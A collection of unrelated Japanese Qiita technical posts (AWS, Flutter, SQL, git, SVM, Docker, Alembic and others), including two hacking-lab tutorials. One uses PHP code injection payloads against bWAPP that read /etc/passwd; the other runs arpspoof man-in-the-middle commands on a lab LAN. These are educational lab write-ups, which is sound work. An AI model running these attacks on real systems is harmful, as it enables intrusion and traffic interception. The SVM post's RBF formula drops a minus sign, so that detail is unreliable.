OmniAICreator/Qiita-1.07M huggingface dataset:
AWS StepfunctionsでCloudFormationスタックをシリアルに実行する

## はじめに

AWS StepfunctionsとLambdaでCloudFormationスタックをシリアルに実行するステートマシンを作成しました。（実行したスタックが完了するまで次のスタックは実行しません）
これは[以前作成したスクリプト](https://qiita.com/suo-takefumi/items/2bbcc3fd9af02acbeb26)をサーバレスで実行できるように改善したものになります。

## ソース

作成したソースはgithubに格納しました。作り方も詳細は、githubの readme.md に記載しました。

https://github.com/zgw426/AWS-StepFunctions_CreateStacks

## Stepfunctions ステートマシン

作成したステートマシンと各フローの処理概要です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274270/e8e3c747-8b8b-bf9b-9bb7-044fbc4410fc.png)


---

余談
Stepfunctionsってグローバル変数使えない？
グローバル変数を使わずにやりくりする方法がわからず苦労しました。


## [2021/09/20] Stepfunctions ステートマシンの改良

CloudFormation以外の処理も実行できるよう仕組みを追加

![画像1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274270/2f6a51ef-89f1-8771-ea2a-f971fcc2575e.png)

---
【ハッキング・ラボのつくりかた】をやってみた

「ハッキング・ラボのつくりかた」という本を知っていますか？

https://www.amazon.co.jp/dp/B07JJKLZNW

<br>

IPUSIRONさんという方が書いた本で、この本では「いつでもどこでも利用できるハッキング・ラボを構築すること」、「ハッキング・ラボを活用してハッキングのスキルを習得すること」を目標としています。

セキュリティやハッキング技法を習得してもそれを試す場所はあまりありませんが、仮想環境でハッキング・ラボを構築すれば、合法的かつ自由にハッキングの練習ができます。

本自体かなり詳しく説明されているのですが、バージョンが上がったりして本の通りにやっても動かないこともあります。
そこで、本の全部ではないですが僕がやってうまくいったことをまとめてみました。2020年5月から2021年1月くらいの時期にやりました。

サポートサイトもあるので、困ったらこちらも見てみるといいと思います。
[https://s-akademeia.sakura.ne.jp/main/books/lab/faq.html](https://s-akademeia.sakura.ne.jp/main/books/lab/faq.html)

また、TwitterではIPUSIRONさんから直接教えていただけるようなのでフォローしてみるといいかもです。
[https://twitter.com/ipusiron](https://twitter.com/ipusiron)
<br>

- 第2章
 - [【ハッキング・ラボ①】VirtualBox、Kali Linuxを導入する](https://qiita.com/nakatatsu711/items/5cb461d8f92d804f6bce)
 - [【ハッキング・ラボ②】Kali Linuxをカスタマイズする](https://qiita.com/nakatatsu711/items/0f3bb40496a67d4ffccd)
 - [【ハッキング・ラボ③】Kali Linuxのネットワークを構築する](https://qiita.com/nakatatsu711/items/caeb9d595ef22070a4e1)
 - [【ハッキング・ラボ④】コマンド等を学ぶ](https://qiita.com/nakatatsu711/items/3a49ba2f013c7015bdff)
- 第3章
 - [【ハッキング・ラボ⑤】ホストOSをカスタマイズする](https://qiita.com/nakatatsu711/items/c58e7bf5527c1a4619c6)
- 第4章
 - [【ハッキング・ラボ⑥】Windows7をハッキングする〜Netcat〜](https://qiita.com/nakatatsu711/items/3ebcdb9453c42f5df980)
 - [【ハッキング・ラボ⑦】Windows7をハッキングする〜Metasploit〜](https://qiita.com/nakatatsu711/items/32f7e4acb82efc013552)
 - [【ハッキング・ラボ⑧】Windows7をハッキングする〜隠蔽化〜](https://qiita.com/nakatatsu711/items/d096593239c530f2c2bf)
 - [【ハッキング・ラボ⑨】Windows10をハッキングする〜Metasploit〜](https://qiita.com/nakatatsu711/items/3ee22b36791c0f94c005)
 - [【ハッキング・ラボ⑩】Windows10をハッキングする〜バックドアの設置〜](https://qiita.com/nakatatsu711/items/f4cc420a296e7eaac7b9)
 - [【ハッキング・ラボ⑪】Windows10をハッキングする〜隠蔽化〜](https://qiita.com/nakatatsu711/items/d4fc15e2e0463067bc83)
- 第5章
 - [【ハッキング・ラボ⑫】Metasploitableをハッキングする](https://qiita.com/nakatatsu711/items/e0f504473e0bb92907b2)
- 第6章
 - [【ハッキング・ラボ⑬】有線LANをハッキングする～ポートスキャン～](https://qiita.com/nakatatsu711/items/ece3786215cc407dc887)
 - [【ハッキング・ラボ⑭】有線LANをハッキングする～ARPスプーフィング～](https://qiita.com/nakatatsu711/items/d0fdd99055c9462b0339)
- 第7章
 - [【ハッキング・ラボ⑮】Webアプリをハッキングする～DVWA～](https://qiita.com/nakatatsu711/items/2c8cb67a40caba4e9325)
 - [【ハッキング・ラボ⑯】Webアプリをハッキングする～bWAPP bee-box～](https://qiita.com/nakatatsu711/items/ed609e4185d2454c53e3)
【Flutter】Packageインストール時のpod install エラーの解決方法【M1 Mac】

# Shared preferences をインストールしたい

```php:pubspec.yaml
dependencies:
  shared_preferences: ^2.0.6
```

保存したら依存関係いろいろファイルできる。

シミュレーター立ち上げようとすると、、、
ん？立ち上がらない(＇д＇)？
pod indtall　エラーうんぬん（エラー文コピーし忘れたぁぁぁ

# 解決方法

コマンド打つ〜

```
% sudo arch -x86_64 gem install ffi
% sudo gem install cocoapods
```

で、flutterプロジェクトのiosディレクトリに移動してから、

```
% arch -x86_64 pod init
```

これでいけるはず。

# 参考にしたサイト

M1じゃだめなの。
解決するにはインテルバージョン入れるの。

https://medium.com/p-society/cocoapods-on-apple-silicon-m1-computers-86e05aa10d3e
【SQL】4種類の命令(DML, DDL, TCL, DCL)

この本を読み、SQL命令の分類を知る事で頭の整理ができたなと思うので、備忘録を書いておく。

https://sukkiri.jp/books/sukkiri_sql2


## 4種類のSQL命令(DML, DDL, TCL, DCL)
SQLの命令は、大きく4つの種類に分類することができます。

①データ操作言語　DML (Data Manipulation Language)
②トランザクション制御言語　TCL (Transaction Control Language)
③データ定義言語　DDL (Data Definition Language)
④データ制御言語　DCL (Data Control Language)

それぞれの内容は以下の通りです。

## データ操作言語　DML (Data Manipulation Language)
DMLはデータ操作言語と呼ばれ、データの格納・取り出し・更新・削除などに使用する命令です。
4大命令（SELECT・INSERT・UPDATE・DELETE）がこれにあたります。

|命令| 説明 |
|---|---|
|SELECT  |テーブルからレコードを抽出する  |
|INSERT  |テーブルにレコードを新規登録する   |
|UPDATE  |テーブルのレコードを更新する   |
|DELETE  |テーブルのレコードを削除する   |
|LOCK　TABLE  |排他的制御の為、テーブルをロックする   |
|EXPLAIN  |SQLの実行プランを調べる   |

##トランザクション制御言語　TCL (Transaction Control Language)
TCLはトランザクション制御言語と呼ばれ、トランザクションの開始や終了に使用する命令です。

|命令| 説明 |
|---|---|
|COMMIT  |トランザクション処理中の変更を確定させる  |
|ROLLBACK  |トランザクション処理中の変更を取り消す   |
|SET TRANSACTION  |トランザクションの設定を行う   |
|SAVEPOINT |トランザクション処理中のロールバックするポイントを作成する   |


##データ定義言語　DDL (Data Definition Language)
DDLはデータ定義言語と呼ばれ、テーブルの作成・削除や、各種設定に使用する命令です。

|命令| 説明 |
|---|---|
|CREATE  |テーブルを新規作成する  |
|DROP  |既存のデータベースオブジェクトを削除する   |
|ALTER  |既存のデータベースオブジェクトを変更する   |
|TRUNCATE  |テーブル内のデータを全削除する  |
|RENAME  |既存のデータベースのオブジェクトの名前を変更する  |
|COMMENT  |データベースのオブジェクトのコメントを定義、または変更する|

※TRUNCATEは、データを全削除してテーブルを初期化する命令。テーブルを一度DROPして、同じものをCREATEするイメージ。


##データ制御言語　DCL (Data Control Language)
DCLはデータ制御言語と呼ばれ、DML（データ操作言語）やDDL（データ定義言語）の利用に関する許可や禁止を設定する命令です。

|命令| 説明 |
|---|---|
|GRANT |ユーザーまたはユーザーグループに対して権限（アクセス権）の付与を行う |
|REVOKE |ユーザーまたはユーザーグループに対して権限（アクセス権）の剥奪を行う|

※これらは、データベースの全権を管理する立場の人だけが使う命令。

<br>
#####注）　SQL命令分の分類は、DBMS製品によって異なることがある。
【実践！Gitコマンド】過去のコミットメッセージを変更する

つい忘れがちなgitコマンドを書き留めています  
## 目次
-  case1. 最新のコミットメッセージを変更したい
-  case2. 2つ以上前のコミットメッセージを変更したい

## case1. 最新のコミットメッセージを変更したい
1コマンドで楽々修正

```
$ git commit --amend -m "変更したいメッセージ"
```

## case2. 2つ以上前のコミットメッセージを変更したい

### ①過去のコミットメッセージを確認
```
$ git log
```

### ②2つ前までのコミットメッセージを変更
```
$ git rebase -i HEAD~2
```
実行すると以下のような内容のviエディタが開く。（なぜかVSCodeで開かれました、直したい、、、）

```
pick ハッシュ値　コミットメッセージ
pick ハッシュ値　コミットメッセージ
```

### ③viエディタで編集
編集したいコミットメッセージの「pick」を「edit」に書き換える
今回は2つ前のコミットメッセージを変更したいので、以下のようになる（上から古い順になっている）

```
edit ハッシュ値　コミットメッセージ
pick ハッシュ値　コミットメッセージ
```

### ④「edit」にしたコミットメッセージを変更

```
$ git commit --amend -m "コミットメッセージ"
$ git rebase --continue
```
※「edit」にしたコミットメッセージが複数ある場合は、上記コマンドを繰り返す（古い順に修正されていく）
SQL の記述が少し便利になる Query Parts Maker というWEBサービスを作りました

# 概要
Query Parts Maker
https://querypartsmaker.net/

クエリを作成するときにダブルクオーテーション、かっこ、カンマをつけるのがめんどくさいときがあったので、それらの文字列処理をブラウザで手軽にできるサービスを作ってみました。

まだ用途は限定的ですが1つ1つの文字列処理はシンプルなので地味に便利に使えるときがあると思います。

手動で矩形選択を使う、エクセルやスプレッドシートのマクロを作るなど他の手段でも同じことはできますが、どこからでもアクセスできることと手軽さを重視し、WEBサービスにしました。

クエリ作成の際に面倒な文字列処理が見つかるたびに継続的に機能追加していこうと思います。

# 用途
## WHERE IN 句の記述を作りたいとき
![test11.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/572412/10808cd1-6d18-a28d-5fb6-49b3893f002c.gif)

## 挿入するカラムが1つの INSERT 文の VALUES 節を作りたいとき

![test12.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/572412/16223149-e10b-dace-61bc-9b729ecb13b5.gif)
SVM どこよりもわかるカーネル関数

# はじめに
SVMのスクラッチを実装するなかで、カーネルの違いについてしらべた。

# データセット

```python
from sklearn.datasets import make_moons
X, y = make_moons(n_samples=100, noise=0.15)
```

# linear(線形カーネル)

$$k(x_1, x_2) = x_1^T x_2$$

```python
poly_svm = Pipeline([
        ('scaler', StandardScaler()),
        ('svm_clf', SVC(kernel='linear'))
])
```
![Imgur](https://i.imgur.com/E1omcvAl.jpg)

# poly(多項式回帰)

線形カーネルとは異なり、特徴量を自分で加えなくともSVCの内部で加えてくれる。
また、カーネルトリックを使用しているため(内積の計算を楽にすること)直接特徴量を加えるより計算速度が断然早くなる。

$$k(x_1, x_2) = (\gamma x_1^T x_2 + r)^d$$

```python
poly_karnel_svm = Pipeline([
    ('sclear', StandardScaler()),
    ('svm', SVC(kernel='poly', degree=3, coef0=1, C=5))
])
```
![Imgur](https://i.imgur.com/vVlHK8xh.jpg)

# ガウスRBFカーネル

各サンプルに対してガウスRBFという分布を用いて、類似性特徴量を求める事を  
カーネルトリックを使って計算量を落としたやり方。  
元の特徴量を捨て(本当の意味では捨ててない)サンプル数ごとに分布(影響領域)を定めそれによって決定領域を描く。  
カーネルの式は
$$k(x_1,x_2)=exp(\gamma||x_1 - x_2||^2)$$

$\gamma$をあげると各インスタンスが持つ影響領域が小さくなる。そのため過適合しやすくなる。  
$C$をあげると誤差のペナルティが大きくなるので、過適合する。

```python
rbf_karnel_svm = Pipeline([
    ('sclear', StandardScaler()),
    ('svm', SVC(kernel='rbf', gamma=gamma, C=C, random_state=0))
])
```
![Imgur](https://i.imgur.com/QkLwkTCh.jpg)

# シグモイドカーネル
gammaをあげると適合はするものの、過適合になるというよりかはずれていくイメージ。  
切片はそのままのイメージ、累乗すると複雑になる。
$$k(x_1,x_2)=tanh(\gamma x_1^Tx_2'+r)$$


![Imgur](https://i.imgur.com/eDdybdNh.jpg)
【ハッキング・ラボ⑯】Webアプリをハッキングする～bWAPP bee-box～

Webアプリに対して、ハッキングをしていきます。

使用するのはbWAPP（buggy web application）です。
主にWebアプリのセキュリティを学習するためのWebアプリで、100を超える脆弱性を備えています。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10
`ゲストOS4`：Metasploitable
`ゲストOS5`：bWAPP bee-box v1.6



## bWAPP bee-boxのセットアップ
bWAPP bee-boxは、bWAPPがインストールされているUbuntuベースのLinuxです。
まず、以下のサイトからbee-box_v1.6.7zファイルをダウンロードします。
[https://sourceforge.net/projects/bwapp/files/bee-box/](https://sourceforge.net/projects/bwapp/files/bee-box/)

ファイルを展開します。
展開には[7-Zip](https://sevenzip.osdn.jp/)を使用しました。

ファイル変換に使用するため、[VMWare](https://my.vmware.com/jp/web/vmware/downloads/info/slug/desktop_end_user_computing/vmware_workstation_player/16_0)をインストールします。

以下のコマンドでvmxファイルからovfファイルを生成します。
第1引数がvmxファイルパス、第2引数がovfファイルパスです。

```
# cd C:\Program Files (x86)\VMware\VMware Player\OVFTool
# .\ovftool.exe "C:\Users\ユーザー名\Downloads\bee-box\bee-box.vmx" "C:\Users\buffo\Downloads\bee-box\bee-box.ovf"
```

仮想アライアンスをインポートします。
名前はbee-box 1.6に変更しました。

また、仮想LANアダプターを「ホストオンリーアダプター」に設定します。
<img width="600" alt="hacking-lab-part16-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/5f9c4563-faf8-73ce-3f66-4d54074b23f3.jpeg">

起動して、デスクトップ画面を表示します。
<img width="600" alt="hacking-lab-part16-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/73d23c12-c974-0dc5-8841-a5d796df00c3.jpeg">



## PHP Code Injection
IPアドレスを確認後、ブラウザで以下の画像にあるURLにアクセスし、ログインします。
ここでは、IPアドレスは10.0.0.109です。
`Login`：bee
`Password`：bug
`Security level`：low

<img width="600" alt="hacking-lab-part16-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/dc97d08d-4e18-1fa8-9de7-faf12b55d9a8.jpeg">

プルダウンメニューから「PHP Code Injection」を選択し、「Hack」ボタンを押します。

以下のURLにアクセスすると、helloと出力されることから、「message=」以降の文字列がWebページに反映されていると推測できます。
<img width="600" alt="hacking-lab-part16-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/8eb31efd-17c3-6da6-49a9-bf8445f2a940.jpeg">


PHPの設定内容を表示してみます。
`http://10.0.0.109/bWAPP/phpi.php?message=phpinfo()`
<img width="600" alt="hacking-lab-part16-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/e2181769-0711-2b91-1c7f-c6ff15fac1b6.jpeg">

他にもLinuxカーネルのバージョンやユーザー名等を表示することができます。

Linuxカーネルのバージョン
`http://10.0.0.109/bWAPP/phpi.php?message=system('cat /proc/version');`
ユーザー名
`http://10.0.0.109/bWAPP/phpi.php?message=system('cat /etc/passwd');`
【ハッキング・ラボ⑭】有線LANをハッキングする～ARPスプーフィング～

有線LANに対して、ハッキングをしていきます。
主にARPスプーフィングについて取り上げます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10
`ゲストOS4`：Metasploitable

攻撃端末はゲストOS1、ターゲット端末はゲストOS2でIPアドレスは192.168.0.9です。
ちなみにルーターのIPアドレスは192.168.0.1です。



## ARPスプーフィングの概要
キャプチャにはパッシブキャプチャとアクティブキャプチャがあります。

パッシブキャプチャとは、監視対象の端末を積極的に攻撃せずにパケットキャプチャする方法です。

アクティブキャプチャとは、監視対象のネットワークに人為的な通信を作り出したり、介入したりすることでパケットキャプチャする方法です。

今回はARPスプーフィングを使用して、アクティブキャプチャを行っていきます。

ARPスプーフィングとは、ARPの仕様を悪用して、ターゲット端末のARPテーブルを書き換える攻撃のことです。

次に示す3段階で攻撃します。

1. ターゲット端末に対してARPスプーフィングして、ルーターに届くべきパケットを攻撃端末に届くようにする
2. ルーターに対してARPスプーフィングして、ターゲット端末に届くべきパケットを攻撃端末に届くようにする
3. 攻撃端末はターゲット端末やルーターから届いたパケットを転送する

これにより、ターゲット端末とルーターの間に攻撃端末が割り込んだ状況になります。
これを中間者攻撃と呼びます。
<img width="600" alt="hacking-lab-part14-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/456582d9-4546-6f3e-0255-c7295dac9bcc.jpeg">



## ネットワーク構成について
攻撃端末のKali Linuxの設定は以下のように行います。
`割り当て`：ブリッジアダプター
`アダプタータイプ`：Intel PRO/1000 MT Desktop (82540EM)
`プロミスキャスモード`：すべて許可

ここでは、アダプター3に割り当てました。
アダプター1にはホストオンリーアダプター、アダプター2にはNATを既に割り当てていたので、これらを無効にします。

また、/etc/network/interfacesを編集します。

```:interfaces（編集前）
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 10.0.0.2
netmask 255.255.255.0
```

```:interfaces（編集後）
# The primary network interface
# allow-hotplug eth0
# iface eth0 inet static
# address 10.0.0.2
# netmask 255.255.255.0
allow-hotplug eth0
iface eth0 inet dhcp
```

ターゲット端末のWindows7の設定は以下のように行います。
`割り当て`：ブリッジアダプター
`アダプタータイプ`：Intel PRO/1000 MT Desktop (82540EM)
`プロミスキャスモード`：拒否

ここでは、アダプター2に割り当てました。
アダプター1にはホストオンリーアダプターを既に割り当てていたので、これを無効にします。



## Kali LinuxのIP転送機能を有効化する
以下のコマンドでIP転送機能を有効にします。  

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```



## ターゲット端末にARPスプーフィングを行う
arpspoofを使うことでARPスプーフィングを実現できます。
dsniffというパッケージをインストールする必要があるので、事前にインストールしておきます。  

```
# apt install dsniff
```

以下のコマンドでターゲット端末に偽の情報を送ります。
ターゲット端末のIPアドレスは192.168.0.9、ルーターのIPアドレスは192.168.0.1です。

```
# arpspoof -i eth0 -t 192.168.0.9 192.168.0.1
```

arpspoofコマンド前後でARPテーブルが書き換えられていることが確認できます。
<img width="600" alt="hacking-lab-part14-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/d1126fd0-4339-6099-3b6d-ab174a8dc6ef.jpeg">



## ルーターにARPスプーフィングを行う
以下のコマンドでルーターに偽の情報を送ります。

```
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.9
```



## 通信をキャプチャする
Kali Linux上のWiresharkで通信をキャプチャしてみます。

```
# wireshark &
```

ターゲット端末のWindows7上でインターネットを巡回後、HTTP通信をキャプチャすることができました。
<img width="600" alt="hacking-lab-part14-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/8d6de5ee-fee8-f51b-2735-41e9d0693d2f.jpeg">

終了時はarpspoofでCtrl＋cキーを押します。
偽の情報が書き込まれたARPテーブルは正常の値に戻ります。
<img width="600" alt="hacking-lab-part14-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/567ebce9-b5f3-99c8-8c29-1285af1ca048.jpeg">
yukicoder contest 309 参戦記

# yukicoder contest 309 参戦記

## [A 1642 Registration](https://yukicoder.me/problems/no/1642)

自分が使っている言語の書式指定子を知っているかだけですね.

```python
N = int(input())

print('%03d' % N)
```

## [B 1643 Not Substring](https://yukicoder.me/problems/no/1643)

文字列を辞書順に並べると、'a', 'aa', 'aaa', 'aaaa', ... となる. 後は 'a' を幾つ並べるとSの部分列では無くなるかを考えれば 'a' の個数を数えて、それより1つ長くすればいいと分かるはず.

```python
S = input()

print('a' * (S.count('a') + 1))
```

## [C 1644 Eight Digits](https://yukicoder.me/problems/no/1644)

8! ≒ 4.0×10<sup>4</sup> なので、総当りしても TLE しないので、総当たりすれば良いと分かる.

```python
from itertools import permutations

K = int(input())

result = 0
for p in permutations('12345678'):
    if int(''.join(p)) % K == 0:
        result += 1
print(result)
```

## [D 1645 AB's abs](https://yukicoder.me/problems/no/1645)

*N*≦100で、A<sub>i</sub>≦100なのを見たらナップサック問題かなってなりますよね.

```python
from collections import defaultdict

m = 998244353

N, *A = map(int, open(0).read().split())

d = {0: 1}
for a in A:
    t = defaultdict(int)
    for k in d:
        t[k + a] += d[k]
        t[k + a] %= m
        t[k - a] += d[k]
        t[k - a] %= m
    d = t

result = 0
for k in d:
    result += abs(k) * d[k]
    result %= m
print(result)
```
SORACOM RS-LTECO2 スターターキットの備忘録

#概要
SORACOMさんから購入したCO2センサー「RS-LTECO2スターターキット」のデータを
SORACOM Beamを使って自社システムに転送する際の備忘録。

#システムイメージ
ざっくり書くとこんな感じです。
RS-LTECO2からのデータは、SORACOMプラットフォームのUnified Endpointに送信されます。
そこからSORACOM Beamを使用して、当社システムに送信します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146789/858217aa-ad4f-2e19-f897-752bb9385bc0.png)

#注意点
###BeamはUDP → HTTP/HTTPS エントリポイントで構築する
最初HTTPエントリポイントでBeamを構成していましたが、
なぜか当社システムにデータが送信されない。
Harvest Dataを有効にするとちゃんと受信データが表示されるので、
Unified Endpointまで来ていることがわかる。

ここで一つ勘違いしていたことがあって、
Unified EndpointからBeam/Funnel/Hervest Dataに転送される際、
HTTPで通信されていると思っていたんですが、
デバイスとUnified Endpoint間の通信方式のままBeamやらに転送されるんですね。

で、RS-LTECO2とUnified Endpoint間の通信はUDPでした。
つまり、BeamはUDPとHTTPで構築する必要があります。
⇒RS-LTECO2とUnified Endpoint間の通信仕様の記載箇所が見つからなかったのですが、
　オフィシャルの記事でRS-LTECCO2からのデータをバイナリパーサーを使用してJSONに変換しているので
　HTTPではなくTCPまたはUDPだろうと推測。
　で、試してみたところ、Beamの設定をUDP → HTTP/HTTPS エントリポイントに設定すると、
　通信ができました。



#IMSI情報をヘッダに仕込む
Beamから当社のシステムにデータ転送する際に、どのデバイスからのデータか分かるよう、
Beam側でIMSI情報をヘッダに仕込むよう設定しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146789/2c480df4-5434-1ff4-5551-49547beca280.png)

この画面をちゃんと見て気付けばよかったんですが、
[違うページ](https://users.soracom.io/ja-jp/docs/beam/use-beam/)を見て勘違いしてました。

リクエストに追加されるIMSI情報は、リクエストヘッダーの
「x-soracom-imsi」
に設定されます。
⇒「HTTP_X_SORACOM_IMSI」ではありません！
MacでOfficeソフトを使うには？？？

#Office Home and Business for MAC license
環境：Mac OS Catalina (pro 13 inch 2020)
SDD 500GB
メモリ 8GB
プロセッサ 1.4GHz
目指すモード：MacOSで、Excel、PowerPoint、Wordを活用。
　→後日談　素直にクラウド版を利用が成功法。
##MACで利用可能なのか？検証　⇨結論：NG

:::note alert
購入しないようにしてください。
:::

:::note warn
Not for asian license. There are only European.
:::

ライセンス発行元によっては、上記のように通達されます。
下記のペイメント情報がメールで通知きます。
Mac用オフィスソフトが簡単に購入できました。


:::note info
Product	Quantity	Price
Office Home & Business (Mac)
Operating System:
Mac OS
Version:
Home & Business
1	€69.99
Subtotal:	€69.99
Discount:	-€10.50
Payment method:	Credit Card
Total:	€59.49
:::


:::note warn
ディスクの暗号化パスワード(Thunderbolt)と、admin管理者パスワードを失念のないように
:::
##動作確認
インストールして動確してみましたが、その後、ディスクのパスワード変更＆再入力を求められ、
失念してしまった結果、？マークのスクリーンで、Mac起動せず。

https://support.apple.com/ja-jp/HT204323

###Apple サポートデスクへのとい合わせ結果
:::note info
ディスクユーティリティのコンテナ→修復(ファーストエイド)で回復とききました。
:::

#####ここでの食い違い点。
まず、ディスクユーティリティの起動まで（地球儀アイコンからネットワーク選択）20分間ほど待機
※マルチタスクで多忙の中、一緒に待ってくださったサポートの方の親切な対応に感謝です。


しかしコンテナが表示されませんでした。
購入したばかりで起動しなくなったので、とても困りました。

#####ディスクが消えてしまった？？
SDDをわざわざ買ったのに、HDDが見えなくなるということが問題、ということだそうです。
各5回くらい連打で実行してみて気がついたこと。

#####内部ディスクが消えるわけない。データはリカバリはムズカシイ。

皆さんのご経験を基に、パーティション作成し、拡張Macパーティションでフォーマット後、
名前を『Macintosh HD』とする、これがポイントだそうです。
ハイ、SDD内蔵でもHDと書く。
やっとリカバリディスク認識され、リインストールが可能に！

特に、仕事のタメとはいえ、ライセンスを格安で購入をすることは、無駄足の原因に。。。
###参考文献URL.
###あ〜、よかった。renameのハウツーがありました。！
https://www.alphr.com/factory-reset-macbook-pro/
Selenium + OpenCV のコンテナ

# 動機
Selenium と OpenCV が同居したコンテナが必要だったが軽量なものが存在しなかったため作ってみました。

# ベースは Selenium 側
Selenium 側は [ここ](https://hub.docker.com/r/joyzoursky/python-chromedriver/) に軽量のものがあるのでこちらをベースにします。

# OpenCV はビルドする

残念ながら Alpine にはまだ Python のライブラリまでインストールしてくれるような apk パッケージは存在しないのでビルドします。この際に以下の点に留意することによりイメージが小さくなります。

* １つのステップでビルドと不要ファイル(ビルドに使用したディレクトリ、及びビルドにしか使わないライブラリ)の削除を行う

ライブラリのインストール → ビルド → ライブラリの削除
を3つのステップに分けた場合に 1.2GB だったイメージも、1つのステップにすると 477MB まで小さくなりました。DockerHub にアップロードして圧縮されたイメージサイズは 180MB と十分実用に耐えるものです。

* OpenCV のオプションは最小限にする

今回は GPU も不要でシングルスレッドで最低限のライブラリ(cvtColor() とか findContour() とか)が動作してくれれば良いので、テストや TBB など削れるものはとことん削っています。もしかすると用途によっては使いたい機能がないという状態かもしれませんが、それはオプションを自身で ON にしていけば良いでしょう。

# 結果
Python 3.9.6 + OpenCV 4.5.3 のイメージ
DockerHub: [kempei/selenium-opencv](https://hub.docker.com/repository/docker/kempei/selenium-opencv)
GitHub: [selenium-opencv](https://github.com/kempei/selenium-opencv)

宜しければご活用下さい。
Alembicでバージョンがおかしくなってしまったときの対処法

## はじめに

チーム開発時、マージのタイミングなどでalmbicのバージョンがおかしくなってしまうことがあります。
その対処法を備忘録として残しておきます。

例として、migrationスクリプトの実行順は、以下のようになっているとします。
実際の環境では、`alembic history`を実行するとスクリプトの実行順が確認できます。

```text:migrationのバージョン
8wp6ak79my83  # 最初のスクリプト
9j9u6f5ipni7
m9xydtn3xynj
ipmk4tzf57xy
5j4gmsz2te8w
m54f6fc82n62
hku9seazdc7k  # head
```


## 現在のバージョンを調べる

`alembic current` を実行すると、現在のalembicのバージョンがわかります。
以下の例だと、"m9xydtn3xynj" まで実行されていることがわかります。なので、この状態で`alembic upgrade head` とすると、"m9xydtn3xynj"の次に実行されるスクリプトから順に実行されていくことになります。

```
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
m9xydtn3xynj (branchpoint)
```

```text:migrationのバージョン
8wp6ak79my83  # 最初のスクリプト
9j9u6f5ipni7
m9xydtn3xynj  # alembicはここまで実行したと思っている
ipmk4tzf57xy
5j4gmsz2te8w
m54f6fc82n62
hku9seazdc7k  # head
```

## 次に実行すべきスクリプトを特定する

次どのスクリプトを実行すればOKなのかを調べます。
実際のDBと見比べてみて、差分が生じる操作をするスクリプトからスタートすればOKです。

`alembic upgrade head` を実行して失敗したときのエラーメッセージから大体検討がつくと思います。たとえば、以下のエラーメッセージであれば、「実際のDBには存在するFooテーブルは、alembic的にはまだ作ってないことになっているんだな」とわかります。なので、Fooテーブルを作っているスクリプトの次のスクリプトを実行すれば良さそう、みたいな感じです。

```
sqlalchemy.exc.ProgrammingError: (psycopg2.errors.DuplicateTable) relation "Foo" already exists
```

`alembic/versions`ディレクトリを見て、"5j4gmsz2te8w"がFooテーブルを作るスクリプトだと分かったとします。するとその次のスクリプト"m54f6fc82n62"から実行すれば良さそう、と検討がつきます。

```text:migrationのバージョン
8wp6ak79my83  # 最初のスクリプト
9j9u6f5ipni7
m9xydtn3xynj  # alembicはここまで実行したと思っている
ipmk4tzf57xy
5j4gmsz2te8w  # Fooテーブルを作るスクリプト
m54f6fc82n62  # ここから実行すればOKなはず
hku9seazdc7k  # head
```

## Alembicのバージョンを変更する

Alembicは、実行したmigrationの最新バージョンがどれか、という情報を`alembic_version`テーブルに保持しています。テーブルを見てみると、`alembic current`で出力されるバージョンと同じ値が入っているかと思います。

```sql
SELECT * FROM alembic_version;
     version_num
---------------------
m9xydtn3xynj
```

これを、Fooテーブルを作るスクリプト"5j4gmsz2te8w" に変更してやると、Alembicは「"5j4gmsz2te8w"まで実行した」と認識してくれるようになります。
この状態で`alembic upgrade head` とすると、"m54f6fc82n62"から"head"までのスクリプトが実行されます。

## alembic upgrade head を実行

`alembic upgrade head` を実行して、結果をみてみます。

```
INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
INFO  [alembic.runtime.migration] Will assume transactional DDL.
INFO  [alembic.runtime.migration] Running upgrade 5j4gmsz2te8w -> m54f6fc82n62, <message>
INFO  [alembic.runtime.migration] Running upgrade m54f6fc82n62 -> hku9seazdc7k, <message>
```

無事headまで実行されたようです。再度DBの状態とmigrationスクリプトを見比べてみて、問題なければOKです。

`alembic_version` にも、headのバージョンが格納されているはずです。


```sql
SELECT * FROM alembic_version;
     version_num
---------------------
hku9seazdc7k
```

## 参考

https://alembic.sqlalchemy.org/en/latest/tutorial.html
宣言的UIとは

コードがそのままUIに反映されるUI
命令的UIの逆
例えば以下のようなコード

```jsx
<div>
    <input id="text" type="text" value={this.state.message} onChange={(e) => this.setState({message: e.target.value})}></input>
    <p id="message">入力値は{{this.state.message}}</p>
</div>
```

## 命令的UIのよくないところ

1. コードを見ても、どこがどうなるのかわかりにくい
2. テキストを入力してどうなるかなどは処理を追わないとわからない
